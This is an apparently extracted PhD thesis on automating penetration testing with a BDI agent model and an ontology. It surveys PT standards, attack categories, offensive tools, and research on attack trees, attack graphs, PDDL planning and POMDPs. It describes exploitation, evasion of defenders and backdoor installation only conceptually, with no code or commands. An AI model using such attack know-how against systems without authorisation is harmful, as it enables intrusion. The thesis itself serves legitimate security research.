Automation of Penetration Testing
Automation of Penetration Testing
Ge Chu
September 2021
To my grandmother
Automation of Penetration Testing Ge Chu
Abstract
i
Ge Chu Automation of Penetration Testing
ii
Acknowledgements
iii
Ge Chu Automation of Penetration Testing
iv
Contents
Abstract i
Acknowledgements iii
Contents viii
List of Figures x
List of Tables xi
Declaration xiv
1 Introduction 1
1.1 What is Penetration Testing? . . . . . . . . . . . . . . . . . . . . . . 1
1.2 Manual VS Automated . . . . . . . . . . . . . . . . . . . . . . . . . . 2
1.3 Research Question . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4
1.4 Motivation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
1.5 Contribution . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
1.6 Thesis Overview . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
1.7 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
2 Preliminaries 7
2.1 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7
v
Ge Chu Automation of Penetration Testing
3 Related Work 25
3.1 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25
3.2 Attack Tree . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25
3.3 Attack Graph . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
3.4 PDDL-based Attack Planning . . . . . . . . . . . . . . . . . . . . . . 33
3.5 POMDP Model for Penetration Testing . . . . . . . . . . . . . . . . . 35
3.6 Ontology for Information Security . . . . . . . . . . . . . . . . . . . . 37
3.7 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38
vi
Automation of Penetration Testing Ge Chu
vii
Ge Chu Automation of Penetration Testing
8 Conclusions 100
8.1 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 100
8.2 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 100
8.3 Main Findings . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 101
8.4 Future Work . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 101
References 102
viii
List of Figures
ix
Ge Chu Automation of Penetration Testing
x
List of Tables
xi
List of Abbreviations
AI Artificial intelligence
BDI Belief-Desire-Intention
xii
Automation of Penetration Testing Ge Chu
OS Operating system
PT Penetration testing
SYN Synchronize
xiii
Declaration
This thesis is the work of Ge Chu and was carried out at the University of Liverpool.
The content of Chapters 4-6 has been published in the following papers:
• Chu, Ge, and Alexei Lisitsa. “Poster: Agent-based (BDI) modeling for au-
tomation of penetration testing.” 2018 16th Annual Conference on Privacy,
Security and Trust (PST). IEEE, 2018.
• Chu, Ge, and Alexei Lisitsa. “Agent-based (BDI) modeling for automation of
penetration testing.” arXiv preprint arXiv:1908.06970 (2019).
• Chu, Ge, and Alexei Lisitsa. “Penetration testing for internet of things and
its automation.” 2018 IEEE 20th International Conference on High Perfor-
mance Computing and Communications; IEEE 16th International Conference
on Smart City; IEEE 4th International Conference on Data Science and Sys-
tems (HPCC/SmartCity/DSS). IEEE, 2018.
xiv
Chapter 1
Introduction
In recent years, malicious network attacks have become an increasingly severe threat
to individuals, businesses and even national information security [91]. Penetration
testing (PT) [22] is a well-established proactive approach to evaluating the security
of digital assets by actively identifying and exploiting existing vulnerabilities. The
practice simulates real attacks carried out by hackers while not affecting the avail-
ability of target systems. In other words, PT aims to improve system security rather
than destroy or access information illegally. It gives administrators of the target
system a very intuitive understanding of the current system security problems.
On the one hand, PT can check whether the security protection measures of the
system are working effectively or not from the perspective of the attacker. On the
other hand, potential security risks can be highlighted in real events, thus improving
the level of awareness of relevant personnel on security issues. The main difference
between a hacker and a penetration tester is that PT is carried out after a contract
has been signed with an organisation or company, and it provides a report. After
the PT is completed, security issues found are immediately fixed, thereby effectively
preventing real security incidents. It should be noted that there is an essential
difference between PT (which is intended to exploit vulnerabilities for unauthorised
1
2 Ge Chu
access) and vulnerability assessment (which aims to identify and mitigate existing
vulnerabilities) [91].
In the 1970s, the U.S. military used PT to discover potential unknown vulnerabil-
ities. A group of professional information security experts (Red Team), was tasked
to attack the defence (Blue Team), thereby checking and improving the information
security level in a practical way. In the 1990s, PT began to expand from military to
industry. Currently, it is widely agreed that PT is one of the most effective methods
to improve the information security level of a target system. An increasing number
of companies and organisations has begun to use this method to ensure that any
potential vulnerabilities in their system are found and repaired before being exposed
[62].
Automated Manual
Testing process Fast, standard process; Easily repeat- Manual, non-standard process; capital
able tests. intensive; High cost of customisation.
Testing process Attack database is maintained and up- Maintenance of database is manual;
Vulnerability /at- dated attack codes are written for a va- Need to rely on public databases; Need
tack Database riety of platforms. re-write attack code for functioning
management across different platforms.
Exploit Develop- Product vendor develops and main- Developing and maintaining an exploit
ment and Manage- tains all exploits. Exploits are contin- database is time-consuming and re-
ment ually updated for maximum effective- quires significant expertise. Public ex-
ness. Exploits are professionally de- ploits are suspect and can be unsafe
veloped, thoroughly tested, and safe to to run. Re-writing and porting code is
run. Exploits are written and optimised necessary for cross-platform functional-
for various platforms and attack vec- ity.
tors.
Reporting Reports are automated and customised. Requires collecting the data manually.
Clean-up Automated testing products offer The tester has to manually undo the
clean-up solutions. changes to the system vulnerabilities
that are found.
Network modifica- System remain unchanged. Often results in numerous system mod-
tion ifications.
Logging/ Auditing Automatically records a detailed record Slow, cumbersome, often inaccurate
of all activity. process.
Training Training for automated tools is easier Testers need to learn non-standard
than manual testing. ways of testing; Training can be cus-
tomised and is time-consuming.
Privacy Automated testing does not expose sen- Human testers are at risk of leaking
sitive information. sensitive information.
• Learning mode (level 1): The system is running in the background to learn
from the decisions made by human experts when the human tester is performing
PT.
• What artificial intelligence (AI) approaches can be used to deal with interactive,
Chapter 1. Introduction 5
• How can an ontology be used to improve reasoning ability and enable knowledge
reusability within PT scenarios?
1.4 Motivation
Existing approaches to automation include those mapping vulnerability scanner re-
sults to the corresponding exploitation tools and those addressing the PT as a plan-
ning problem. Due to mainly non-interactive processing, such solutions can only
deal effectively with deterministic targets. However, the target environment of PT is
ordinarily dynamic, uncertain and complex. The penetration tester needs to interact
with the environment or targets and choose the best action to compromise the target
system based on the information collected. To deal with these issues, an agent-based
architecture is proposed for the automation of PT. An agent can interact with the
environment by perception, decision making and action.
Moreover, the behaviour of an agent can be flexible and is generally characterised
as autonomous, reactive, proactive and social. Currently, agent-based technologies
are considered promising for applications in various areas. The BDI model among
the classical and most representative models of cognitive architecture. It enables
agents to have cognitive abilities to deal with dynamic, uncertain and complex envi-
ronments by using mental states, and characteristics/attitudes such as belief, desire
and intention.
1.5 Contribution
This thesis proposed a BDI model to achieve real-time automation of PT and demon-
strated that the approach remains applicable in the environment of IoT. An ontology
6 Ge Chu
called OntoPT for PT was created to improve the reasoning ability of the BDI model.
This thesis successfully addressed the difficulties experienced in previous studies
which were unable to conduct PT in real-time and has improved performance.
1.7 Summary
This chapter introduced the thesis, including a background to the field of PT, re-
search question, motivation, contribution and structure. Later chapters give a de-
tailed description of how automated PT can be achieved.
Chapter 2
Preliminaries
2.1 Introduction
This chapter describes the basic concepts of PT, agent architecture and ontology.
Section 2.1 introduces PT in terms of types, standards, process and tools. Section
2.2 discusses the agent architecture and BDI model used to implement the main
function of automated PT. Section 2.3 introduces the ontology used to increase the
reasoning ability of the BDI model.
7
8 Ge Chu
consuming and challenging task that requires a high technical level of knowledge
among participants.
White-box testing, also called internal testing, occurs when the PT team has
knowledge of the targets, including network topology, system information, services,
ports, applications and even the source code. Therefore, the PT team can find
and verify the security issues of the target at minimal cost. Typically, White-box
testing can find and eliminate more security issues than Black-box testing. The
process of White-box testing is similar to that of Black-box testing, except that
it does not require information-gathering operations. However, White-box testing
cannot effectively evaluate the responsiveness of the security team within the target
organisation and whether their defensive scheme is effective.
The Open Source Security Testing Methodology Manual (OSSTMM) was published
by the Institute for Security and Open Methodologies (ISECOM) [41]. It is a popular
international standard for information security testing and analysis and is used in
many organisations. It covers all the elements of PT, including physical security, psy-
chology, data networks, wireless communication and telecommunications facilities.
In practice, OSSTMM can significantly reduce false negatives and false positives,
and provide more accurate security metrics. Among of OSSTMM’s more impor-
tant features are the fact it pays great attention to technical details and has good
operability.
The Penetration Testing Execution Standard (PTES) [76] is a relatively new stan-
dard, having been developed in 2010 by information security experts. It defines a
practical PT process which consists of seven stages. Moreover, it is a very compre-
hensive PT framework that covers all the technical aspects of PT, even including
10 Ge Chu
expert experience and related tools. PTES is currently one of the most popular PT
standards in the information security industry.
In the pre-engagement interactions stage, the PT team discusses test technology, test
target, test scope, test cycle, test scheme and the corresponding price with clients.
In general, PT should not affect the availability of the target.
After the pre-engagement interactions stage, the PT team needs to acquire knowl-
edge about the targets. Information gathering is one of the most critical stages in PT
and aims to collect as much information as possible to be utilised, such as physical
information, logic relationships, organisational structure, physical assets, individual
information, footprinting information and protection mechanisms. The more infor-
mation that can be collected during this stage, the more vectors of attack may be
used in the future.
Chapter 2. Preliminaries 11
After the information-gathering stage, the PT team conducts threat modelling and
attack planning to determine the most feasible attack path based on the information
obtained. The threat modelling consists of business asset analysis, business process
analysis, threat agents/community analysis, threat capability analysis, motivation
modelling, and finding relevant news of comparable organisations being compro-
mised. In terms of attack planning, PT teams determine the attack methods, tools
and schemes.
2.2.2.5 Exploitation
The exploitation stage is the most challenging part of PT. The PT team performs
various real attacks on targets, such as SQL injection attack, password attack, buffer
overflow attack, cross-site scripting (XSS) attack, man-in-the-middle (MITM) attack
and social engineering attack. Typically, the targets are protected by different kinds
of countermeasures such as anti-virus, intrusion detection system (IDS), web ap-
plication firewall (WAF), packing, cryptography, white-black list, data execution
prevention (DEP) and address space layout randomisation (ASLR). Thus, the ex-
ploitation stage focuses on how to perform a successful attack by bypassing security
countermeasures in the target system. Moreover, in the case of Black-box testing,
the PT team must avoid being discovered by the target security team.
12 Ge Chu
The purpose of the post-exploitation stage is to keep control of the machine for fu-
ture use. In this stage, the PT team analyses network interfaces, routing, domain
name system (DNS), cache ARP tables, proxy servers, network services and direc-
tory information to identify other targets for further attack and install backdoor
programmes to maintain the long-term access privilege of a target. Sometimes, a
clean-up process is applied to systems once the PT has been completed.
2.2.2.7 Reporting
Finally, after the execution of the first six stages, a report is submitted to the client
for the entire task, which outlines all aspects of PT, such as objectives, methods and
results, and gives repair solutions. In general, the report includes a PT and technical
summary.
Information gathering is the most critical step in PT. Typically, the target informa-
tion to be collected includes IP address, open ports, application, OS type, human
or organisation information, network topology, defence mechanism, configuration,
vulnerability and physical environment. The collection of the above information
determines whether the PT will be successful or not.
Information gathering Configuration error attack Buffer overflow attack Password attack Web attack Sniffer attack Social engineer attack Denial of service attack
port robot.txt FTP Http/Https SQL Injection Man in the Middle attack Forge email DDoS attack
Chapter 2. Preliminaries
application SSH configuration Browser SSH XSS FTP Forge link SYN Flood
OS type FTP configuration Windows TELNET CSRF SSH Forge website TCP Flood
Whois TELNET configuration Linux FTP Broken Authentication Telnet Forge file ICMP Flood
Network topology Sendmail configuration Network device Database Sensitive Data Exposure http Forge SMS UDP Flood
Defence mechanism Web server configuration Web application Mail system Broken Access Control Database Forge WIFI DNS Flood
Configuration Database configuration Database VNC Security Misconfiguration VNC Spoofing Slow POST
Vulnerability VNC configuration Mail system NETBIOS File upload Mail system Physical HTTP Flood
A buffer overflow is a typical software coding mistake that an attacker could exploit
to gain access to the target system [56]. While writing data to a buffer, a programme
overruns the buffer’s boundary and overwrites adjacent memory locations. It allows
attackers to change the programme flow and execute their commands or programmes.
Buffer overflow is a widespread and very dangerous vulnerability; it appears in many
operating systems and application software. It is a famous attack used in PT.
Password attack is an essential part of PT. Usually, an attacker can gain specific
permission from the target system if a password attack is successful. Most password
attacks are based on a dictionary, which consists of possible passwords.
Web attack is an attack against web applications. The most common attacks are
injection, XSS, and cross-site request forgery (CSRF). The OWASP publishes a top
10 of vulnerabilities every year to raise awareness amongst developers and managers.
In a DoS attack, the attackers attempt to prevent legitimate users from accessing a
service. In this case, the attacker usually sends excessive data flow to the network
or server to exhaust target resources. DoS attacking is not typically used in PT
and usually leads to the reboot of the target system for some purpose. This kind of
attack includes SYN flood, TCP/UDP attack, SMTP attack and ICMP attack. If
the attack source comes from a different device, it is a distributed denial-of-service
attack (DDoS) attack.
Nmap [60] is the best-known and most professional security scanner and can be used
to discover ports, hosts and services on a network. It was written in C/C++ and
Python by Gordon Lyon starting in 1997. To discover hosts on a network, Nmap
sends specially-built packets to the target host and then analyses responses. The
programme is different from other available port scanners. Nmap sends packets
based upon network conditions. Unlike other scanners, Nmap can not only scan
ports and discover online hosts but can also recognise the system type running in
remote hosts. In general, Nmap is an essential tool in the information-gathering
stage.
Hydra is a powerful online password attack tool that can support most protocols or
applications, such as FTP, HTTP, HTTPS, MySQL, MSSQL, Oracle, Cisco, IMAP
and VNC. John the Ripper is a famous password attack tool in the Linux system.
The success rate of password cracking is related to the dictionary.
W3af is a widely used web application attack and audit framework [85]. The project
aims to create a framework to help administrators secure their web applications
by finding and exploiting all web application vulnerabilities. This framework is
developed using Python thus it is easy to use and extend. W3af can identify more
than 200 vulnerabilities in web applications, including SQL injection, XSS, guessable
credentials, unhandled application errors and PHP configuration errors.
Sqlmap [7] is another web attack tool that automates the process of detecting
and exploiting SQL injection. It has a powerful engine that automates the following
operations: (I) database Identification, (II) obtain data from the database, (III)
accessing the underlying file system and (IV) executing commands on the operating
18 Ge Chu
system.
An MITM attack is performed through data tampering and sniffing attacks by in-
tercepting communication data in a target network [15]. Usually, MITM attacks are
difficult to detect. Ettercap [78] is a comprehensive suite for MITM attacks, which
can be used for computer network protocol analysis and security auditing. It fea-
tures, among other elements, sniffing live connections and content filtering. Ettercap
supports the active and passive dissection of many protocols.
Social engineering attack [74] is an attack vector that relies heavily on human in-
teraction and often involves manipulating people into breaking standard security
procedures and best practices to gain access to systems, networks or physical loca-
tions, or for financial gain. In high-level PT, targets are often well protected; thus
social engineering attacks are often the key to success for the attacker. SET [19] is
the best-known social engineering tool and can perform 11 kinds of social engineering
attack.
important question for the agent is how to decide what to do according to the infor-
mation gained from its perception. The agent function maps any percept sequences
to an action (as shown in Equation (2.1)).
f : P∗ → A (2.1)
Means-end reasoning is better known in the AI field as planning [32], which gener-
ates a course of action to achieve a specific goal. The major problems within this
approach are that it is very computationally costly and incapable of planning and
acting in real-time. Agent technology is a natural candidate approach to deal with
complex tasks in a dynamic environment. In BDI architecture, agents consist of
three logical components representing mental states namely:
• Desires: the agents motivation or possible options that the agent may like to
carry out.
• Intentions: the states of affairs that the agent has decided to carry out.
Intentions are key components in practical reasoning and critical to an agent’s suc-
cess. The BDI is the best-known architecture [83] and the procedural reasoning
system (PRS) is one of its best-known implementations. PRS was initially devel-
oped at Stanford Research Institute by Michael Georgeff and Amy Lansky [31]. It
has proved to be one of the most durable approaches to develop agents to date. To
build a real-time reasoning system, PRS can deal with complex tasks in dynamic
environments. The architecture of PRS consists of four key features: beliefs, desires,
intentions and plans, and an interpreter (See Figure 2.3).
In the PRS system, plans indicate a course of action for the agent to achieve its
intentions. Plans are manually constructed and pre-defined with a library by the
agent programmer. Plans in the PRS have the following components:
The agent interpreter is used to update beliefs from observations of the envi-
ronment, generating new desires based on beliefs and selecting desires to act as
22 Ge Chu
intentions. Finally, the interpreter selects an action to perform the agent’s current
intentions. Since the mid-1980s, the PRS has been re-implemented several times,
such as the Australian AI Institutes dMARS system [24], the University of Michi-
gans C++ implementation UM-PRS and a Java version called JAM! [46]. JACK
extends the Java language with a number of BDI features [14], while a program-
ming language called AgentSpeak is used to define a programme in the form of plans
[10]. Some implementations support BDI-style programming as libraries, such as
BDIPython [12].
2.4 Ontology
The concept of an ontology [36] comes from the field of philosophy and has been
widely used for knowledge representation in the field of AI in recent years. It can
be used to describe concepts and their relationships in a certain domain. The main
Chapter 2. Preliminaries 23
An ontology not only allows domain knowledge to be shared and reused through
a formalisation, but it also has an excellent conceptual hierarchy and support for
logical reasoning. The SWRL [44] is a semantic web rule language combining the Web
Ontology Language (OWL) and RuleML, which can be used to implement inference
functions and create a knowledge base. SWRL can be regarded as a combination of
rules and an ontology; it can directly use relationships and vocabulary in an ontology.
The SWRL rules have two parts, a body and a head, which represent a precondition
24 Ge Chu
and post-condition. The body and head consist of a set of atoms, which are the
smallest unit in a rule.
Drawing on the benefits outlined above, this thesis establishes an ontology to
describe the relationship between targets, vulnerabilities and attack actions. Using
SWRL and an ontology, the reasoning ability of the BDI model is strengthened.
2.5 Summary
This chapter introduced background knowledge related to this thesis about PT, agent
architectures, especially the BDI model, and ontology. The BDI model provides
reasoning from action output to environmental response. The taxonomy of PT is
used to create a PT ontology. Based on ontology, the ability of BDI reasoning can
be improved. This research follows the PTES PT standard and process, while the
action space is based on, but not limited to, the Metasploit framework.
Chapter 3
Related Work
3.1 Introduction
To date, there has been little academic research on automated PT, and the field
is still in its infancy [65]. Many studies or implementations lend to only mapping
vulnerability scanner results to the corresponding exploitation tools [38]. Most of the
research addresses PT as a planning problem expressed in terms of an attack tree,
an attack graph, or based on PDDL. Some researchers have attempted to achieve
automated PT using the POMDP. Ontologies are also widely used to represent, share
and reuse knowledge in the information security field. This chapter introduces the
above content in detail.
25
26 Ge Chu
different attack actions. Figure 3.1 presents an example of an attack tree. The OR
nodes indicate alternative ways to achieve the goal, while the AND nodes represent
the steps that should be taken to achieve the same goal. Attackers cannot achieve
the goal unless all sub-goals are satisfied.
To systematically model cyber-attacks, an attack specification language was spec-
ified in [101] to express aggregate attack behaviours and modalities. Each attack
model contains descriptive properties, pre-conditions, sub-goals and post-conditions.
Properties are used to express attack characteristics, such as attack description, CVE
link and version. Pre-conditions indicate the system environment or configuration
properties. Sub-goals represent antecedent objectives of system intrusions or com-
promises. Post-conditions refer to state changes in systems and environments or the
effect of attacks. Using the attack specification language, the attack decision-making
problem can be transferred to an attack tree search problem.
An attacker can use an attack tree to paths to compromise the targets. Naturally,
Chapter 3. Related Work 27
attack trees can be used to perform automated PT. In [111], the rule trees method
was used to achieve the automation of PT; each chain of rule trees stores a complete
attack process. The likelihood of an attack can be calculated according to their
vulnerability information table and threat classification model. They also proposed
the security assessment process to meet NIST guidelines. In theory, the result of
their approach can be improved by adding a number of rules. In [77], a penetration
attack tree model can describe, organise, classify, manage and schedule the attacks
for an attack resistance test. This model integrated the attack execution relations
and attribute relations, which can be used to construct the unification description
of the test plan and attack operation sequence to guide the tests to complete PT
tasks. Firstly, they established the penetration attack tree based on an attack tree
structure and redefine two kinds of nodes, such as attack attribute and characteristic
node (AttN) and attack behaviour node (BehN) as well as using “and” and “or” to
express the relationship of nodes. Then, they established the attack behaviour node
execution order sequence, based on the penetration attack tree, in order to assist
attack implementation.
The advantages of the attack tree model are that it is intuitive and easy to
understand. It not only describes the attack path but also quantifies the various
factors of the attack. However, the disadvantages of attack trees are also apparent.
The scalability of the structure of attack trees is limited. For example, and/or nodes
are difficult to prune and extend. Moreover, it is challenging to model complex
relations between various attacks using attack trees. Another problem associated
with attack trees is that they are computationally expensive due to the numerous
state spaces. Attack trees face challenges in decision-making environments where
an agent must plan and act in real-time. In addition, the attack tree model is not
suitable for multi-objective scenarios.
the starting point of the attack. Nodes in an attack graph represent state of the
attack, for example, the target machines to which the attacker has gained access
and the user privilege the attack has compromised. Arcs represent a change of state
caused by a single action taken by the attacker. By assigning probabilities of attack
success to the arcs, various graph algorithms, such as shortest-path algorithms, can
identify attack paths with the highest probability of success. The attack graph
can be generated by three components: attack templates, a configuration file and
an attacker profile. The Attack templates consist of the information or conditions
which must hold for the attack, such as operating system version or open port. The
configuration file gives information about target systems, including the topology
of the network, configuration information of workstations, printers or routers. The
attacker profile provides information about the attacker’s capabilities, such as attack
actions. The attack graph not only describes multiple attackers and multiple targets
but also supports reasoning.
There are two types of attack graphs: state-based attack graphs and attribute-
based attack graphs [16]. In state-based attack graphs, each node represents network
states or attack states such as operating system version, open ports, services, vulner-
abilities and user privilege. The arcs represent the path of transition from one state
to another. The state attack graph can show all possible attack paths from the initial
state to a goal state. However, the number of attack paths increases exponentially
according to the scale and number of target vulnerabilities. Therefore, this type of
attack graph is not suitable for large-scale networks. In contrast, attribute-based
attack graphs have better scalability in large-scale network [47]. Attribute-based
attack graphs have two types of nodes, which represent atomic attacks and attribute
nodes, respectively. The attribute node indicates the pre-condition and effects of
atomic attacks. Figure 3.2 demonstrates an example of an attribute attack graph
[93]. Each node includes an attack ID number, which indicates the atomic attack; a
flag S/D shows whether the attack is detectable or not by intrusion detection system,
as well as the sources and targets. The paths from a root node to a leaf node shows
a sequence of atomic attacks the attacker can act without being detected.
In many network security analyses based on attack graphs, researchers have con-
Chapter 3. Related Work 29
structed attack graphs based on their network and vulnerability modelling to de-
termine whether attacks can gain access privilege from starting location to targets.
Artz et al. [5] described the first version of the Network Security Planning Archi-
tecture (NetSPA) system implemented using C++. Its input information from a
custom database includes host, software types and versions, network vulnerabilities,
intrusion detection system placement, gateways, firewall rules and exploits. This tool
generates attack graphs based on the input information, then uses a depth-limited
forward chaining depth-first search algorithm. The authors evaluated this tool in a
realistic network with 17 hosts; it took less than 90 seconds to produce three attack
graph layers.
Kyle Ingols et al. [49] described major improvements to the NetSPA attack
graph system. It requires to model zero-day exploits, client-side attacks and coun-
termeasures such as intrusion prevention system (IPS) and proxy and personal fire-
walls. NetSPA models reachability, firewall, branching between chains, network ad-
dress translation (NAT), reverse reachability, non-transparent proxy and IPS system.
30 Ge Chu
However, the scaling is poor because it generates a full attack graph that finds all
paths to all possible goals. In addition, NetSPA has not modelled attacks specific to
a web server or database, such as SQL injection and XSS.
Ammann et al. described a polynomial algorithm [4] that can be used to generate
attack graphs based on vulnerabilities, attacker privileges and exploits. The algo-
rithm can compute paths to a goal and determine the minimum attack actions that
can be used. The main problem of this approach is that it cannot deal with changes
in network state; for example, DoS attacks cannot be modelled in the approach.
Jajodia et al. [50] described a topological vulnerability analysis (TVA) tool which
automates the labour-intensive type of analysis performed by penetration testers.
The TVA tool requires vulnerability information from the Nessus vulnerability scan-
ner. Nevertheless, conditions of exploits, attack goals and network topology need to
be provided by hand. This tool can generate and analyse attack graphs based on
a polynomial-time algorithm [4] to prevent the attacker from reaching goal states.
This was one of the most comprehensive tools, before 2005, for the generation and
analysis of attack graphs. However, firewalls and router rules are not analysed and
there is poor scaling to large networks.
Some studies have present formal languages that can be used to describe ac-
tions and states in attack graphs. These languages define the pre-conditions and
post-conditions of an attacker action to represent the premises and effects of such
an action. In addition, these languages describe network components such as hosts,
routers, firewalls, topology and vulnerabilities. Templeton et al. regarded attacks
as a set of capabilities supporting abstract attack concepts [100]. When the require-
ments of these concepts are satisfied, the concept provides capabilities that other
concepts can use. An example of a scenario attack is presented in a language called
JIGSAW to show the model of remote shell connection spoofing. This is one of
the first papers to present how attack scenarios can be generated automatically to
achieve multiple attack actions. The main weakness of this research is that it re-
quires a great deal of human labour to manually describe the concepts in JIGSAW.
Cuppens et al. presented an attack description language based on logic which uses
a declarative approach to describe attack scenarios as a combination of actions [20].
Chapter 3. Related Work 31
In the language, the conditions and effects of an attack are described with logi-
cal formulas and provide a description of the attack from the point of view of the
attacker.
Some reported research has applied genetic algorithms or security metric models
in attack graph generation methods. Alhomidi et al. [2] proposed a graph-based risk
assessment model, which helps organisations and decision-makers to make appro-
priate decisions in terms of security risks. They also developed a genetic algorithm
(GA) approach to determine the risks of attack paths and produced useful numeric
values for the overall risk of a given network. The algorithm provided a natural way
of exploring a large number of possible attack paths. However, it may omit high-risk
paths. Wang et al. [106] proposed an attack graph-based probabilistic metric for
network security. The authors defined the basic metric and provided an intuitive and
meaningful interpretation of it. Computing the metric directly from its definition is
not efficient in many cases; to solve this problem, the authors proposed heuristics to
improve the efficiency of such computation.
To take the probability of an attack of each attack path into consideration, some
researchers have tried to make use of Common Vulnerability Scoring System (CVSS)
information to generate attack graphs. Gallon et al. [28] proposed to combine attack
graphs and a CVSS framework in order to add damage and exploitability probability
information. They defined a notion of risk for each attack scenario based on quan-
titative information added to attack graphs. However, this approach is not suitable
for large networks. Keramati et al. [53] proposed a method that can measure the
impact of each shown attack in the attack graph on the security parameters (con-
fidentiality, availability and integrity) of the network. They defined some security
metrics by combining a CVSS framework and attack graph that can help to assess
network security quantitatively by analysing attack graphs as well as finding the
most perilous vulnerability in the network. The main problem of this method is that
it takes no account of the issues of the circular path and combination explosion.
In the most recent studies, published in 2020, researchers utilised MulVAL [80]
to generate attack graphs. Drew Malzahn et al. [61] presented an automated vul-
nerability and risk analysis (AVRA) approach for use in cyber risk assessments. A
32 Ge Chu
scanner is used to capture system information and generate attack graphs using
MulVAL. Finally, AVRA executes the attack graph to verify and validate vulnera-
bilities using Metasploit. The limitations associated with AVRA are that the results
of AVRA are strongly dependent on the quality of the input data and it is difficult
translate from system fact to exploit parameter.
Researchers have also tried to combine attack graphs with reinforcement learn-
ing. Zhenguo Hu et al. [45] used the Shodan search engine [96] to capture system
information and generate an attack graph using MulVAL. Unlike other studies, the
authors first used a depth-first search (DFS) algorithm to find all possible attack
paths and construct a simplified transfer matrix. Finally, they utilised the deep Q-
learning network (DQN) algorithm [70] to determine the optimal attack path and
execute the attack graph using Metasploit. Similarly, Ankur Chowdary et al. [18]
proposed an autonomous security analysis and penetration (ASAP) testing frame-
work. The authors used MulVAL to generate an attack graph based on network
service and vulnerability information. The attack graph is stored in an XML file.
The CVSS [66] is used to determine the reward function in DQN to generate attack
plans. Finally, the authors used an ELK server [95] to obtain evidence of a successful
attack performed by Metasploit. However, these studies did not prove that the DQN
improves the performance of attack graphs.
Attack graphs can generate all possible attacks in the network and provide the
perspective of an attacker. Intuitively, they can help to achieve automation of PT.
However, the main shortcoming of attack graphs is that the output is usually a
path, namely a sequence of actions from the initial state to the goal state. In fact,
automation of PT needs not only to plan but to execute actions in real-time to
interact with dynamic decision-making environments. In other words, the problem
that has not yet been addressed is how to execute and validate the attack paths from
the analysis of the attack graph. Another limitation is that the scalability of attack
graphs is poor, and the computation is expensive because the number of targets or
states grows exponentially in attack graphs. Generating an attack graph is time-
consuming, and it is difficult to select the optimal path if the system model is large
or complicated.
Chapter 3. Related Work 33
to realistic and complex networks. The analysis shows that the attack graphs using
customised algorithms can be generated in polynomial time.
Similarly, researchers have presented a complete PDDL representation of an at-
tack model and integrated a planner into a PT framework [79]. A transformation
algorithm is used to convert attack models into PDDL representation. Attack infor-
mation includes initial conditions, PDDL actions and the goal encoded into a domain
file. In contrast, the information about systems, such as networks, machines, oper-
ating systems, ports and running services, is stored in a problem file. The PT tool
includes about 700 exploits, and the PDDL domain has about 1800 actions.
Roberts et al. complemented previous approaches by integrating user actions and
supporting personalisation to extend attack graphs [86]. Their work focus to those
vulnerabilities present in a particular user/system combination based on PDDL and
Metric-FF planner. In the same year, Elsbroek et al. [25] designed a FIDIUS system
for an intelligent vulnerability testing tool. The system consists of the knowledge,
decision and action components, which represent information about targets, plan-
ning for the next steps based on the current knowledge, and action space. The
critical component is the decision, which includes two intelligent agents: one using
action state planning for attack plan generation based on PDDL, FF planner and
cFF planner while the other predicts of a hosts value based on a neural network.
The planner-based agents cannot be used in a Black-box scenario as the agent plans
everything in advance, while the hosts value prediction agent decides which is the
next host to be exploited rather than the following action to be executed. The ac-
tion component is based on Metasploit. Previous approaches based on PDDL attack
planning have been limited due to its inability to deal with uncertain situations. To
address this issue, Sarraute et al. proposed a model that takes into account the prob-
ability of success of the actions and their expected cost [89]. Their planner is based
on the PPDDL language [110], an extension of PDDL for expressing probabilistic
effects, and was integrated into the PT framework Core Impact. They showed that
probabilistic attack planning could be solved efficiently for large networks.
PDDL-based attack planning for security testing has attracted a large number
of studies showing how to execute and validate the attack paths which result from
Chapter 3. Related Work 35
analysis of the attack graph. In addition, planners can solve the scalability issues of
attack graphs. However, the main drawback is that it uses classical planning. The
system cannot handle incomplete knowledge, uncertainty and interaction with the
dynamic environment, because the result of a planner is a list of actions.
• s ∈ S (state space) represents a finite set of possible states about the environ-
ment.
POMDP aims to find out an optimal policy π that maps states to actions where:
π : S → A. The optimal policy gives the best actions at each state based on its
observations and maximises its future gain (total reward). Figure 3.3 shows an
illustration of the POMDP model.
Compared to the classical deterministic planning mentioned above, the agent
has to interact with a system with an uncertain dynamic environment and whose
current state is unknown. The choice and effect of actions are also uncertain. As
PT concerns acting under uncertain scenarios, POMDP is a natural candidate to
36 Ge Chu
model this particular problem. Sarraute et al. [88] modelled the PT problem in
terms of POMDP. They modelled the states to describe target information such as
OS, software version and vulnerabilities. In addition, a terminal state was used to
describe quitting. Two types of actions, tests and exploits, were taken from a Core
Security database, which allowed them to collect information about targets such as
OS detection and port scan and then exploit targets. They modelled the reward
function in terms of the asset value, maximum time and detection risk. In contrast,
no reward was received when the terminate action is executed or once the terminal
state is reached. The transition function and observation function were specified as
the action’s transition matrix and probability 0 or 1. In this research, generating
a POMDP model for PT required knowledge about states, actions, observations,
reward function, transition function and the initial belief state. To solve the POMDP
problem, Kurniawati et al. [57] used an approximate POMDP planning (APPL)
solver written in C++ based on the SARSOP algorithm. However, the research
Chapter 3. Related Work 37
concluded by raising the scaling issue that limits POMDP in PT scenarios. If the
number of hosts increases, the time needed to find exploits grows exponentially.
Further research [87] proposed a method to generate better attack plans for a
particular machine within a short period. The author’s solution applied POMDP
to find feasible attacks for each machine. The research tried to solve the scalability
issues using an additional 4AL decomposition algorithm to create policies for each
attack graph. However, the issue of scalability has not been resolved in realistic PT
scenarios.
Despite all its advantages, POMDP has two major limitations: firstly, its scala-
bility is a significant issue. Secondly, it is difficult to design the initial belief for every
real-world problem and its accurate probability distribution. In the PT scenario, it
is unclear how agents can obtain these distributions. Additionally, POMDP models
are complicated and require expensive computational resources.
3.7 Summary
In this chapter, related research about the automation of PT was reviewed, including
